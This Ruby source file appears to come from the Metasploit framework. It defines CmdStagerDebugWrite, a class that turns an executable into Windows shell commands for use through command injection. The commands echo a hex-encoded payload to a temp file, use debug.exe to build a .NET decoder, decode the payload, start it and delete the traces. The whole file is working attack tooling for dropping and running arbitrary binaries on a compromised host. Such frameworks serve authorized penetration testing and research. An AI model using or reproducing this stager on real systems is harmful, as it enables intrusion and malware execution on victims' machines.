# -*- coding: binary -*-

require 'rex/text'
require 'rex/arch'
require 'msf/core/framework'

module Rex
module Exploitation

###
#
# This class provides the ability to create a sequence of commands from an executable.
# When this sequence is ran via command injection or a shell, the resulting exe will
# be written to disk and executed.
#
# This particular version uses debug.exe to write a small .NET binary. That binary will
# take a hex-ascii file, created via echo >>, and decode it to the final binary.
#
# Requires: .NET, debug.exe
#
###

class CmdStagerDebugWrite < CmdStagerBase

  def initialize(exe)
    super

    @var_bypass  = Rex::Text.rand_text_alpha(8)
    @var_payload = Rex::Text.rand_text_alpha(8)
    @decoder     = nil # filled in later
  end


  #
  # Override just to set the extra byte count
  #
  def generate_cmds(opts)
    # Set the start/end of the commands here (vs initialize) so we have @tempdir
    @cmd_start = "echo "
    @cmd_end   = ">>#{@tempdir}#{@var_payload}"
    xtra_len = @cmd_start.length + @cmd_end.length + 1
    opts.merge!({ :extra => xtra_len })
    super
  end


  #
  # Simple hex encoding...
  #
  def encode_payload(opts)
    @exe.unpack('H*')[0]
  end


  #
  # Combine the parts of the encoded file with the stuff that goes
  # before / after it.
  #
  def parts_to_commands(parts, opts)

    cmds = []
    parts.each do |p|
      cmd = ''
      cmd << @cmd_start
      cmd << p
      cmd << @cmd_end
      cmds << cmd
    end

    cmds
  end


  #
  # Generate the commands that will decode the file we just created
  #
  def generate_cmds_decoder(opts)

    # Allow decoder stub override (needs to input base64 and output bin)
    @decoder = opts[:decoder] if (opts[:decoder])

    # Read the decoder data file
    f = File.new(@decoder, "rb")
    decoder = f.read(f.stat.size)
    f.close

    # Replace variables
    decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_bypass}")

    # Split it apart by the lines
    decoder.split("\n")
  end


  #
  # We override compress commands just to stick in a few extra commands
  # last second..
  #
  def compress_commands(cmds, opts)
    # Convert the debug script to an executable...
    cvt_cmd = ''
    if (@tempdir != '')
      cvt_cmd << "cd %TEMP% && "
    end
    cvt_cmd << "debug < #{@tempdir}#{@var_bypass}"
    cmds << cvt_cmd

    # Rename the resulting binary
    cmds << "move #{@tempdir}#{@var_bypass}.bin #{@tempdir}#{@var_bypass}.exe"

    # Converting the encoded payload...
    cmds << "#{@tempdir}#{@var_bypass}.exe #{@tempdir}#{@var_payload}"

    # Make it all happen
    cmds << "start #{@tempdir}#{@var_payload}.exe"

    # Clean up after unless requested not to..
    if (not opts[:nodelete])
      cmds << "del #{@tempdir}#{@var_bypass}.exe"
      cmds << "del #{@tempdir}#{@var_payload}"
      # XXX: We won't be able to delete the payload while it is running..
    end

    super
  end

  # Windows uses & to concat strings
  def cmd_concat_operator
    " & "
  end

end
end
end
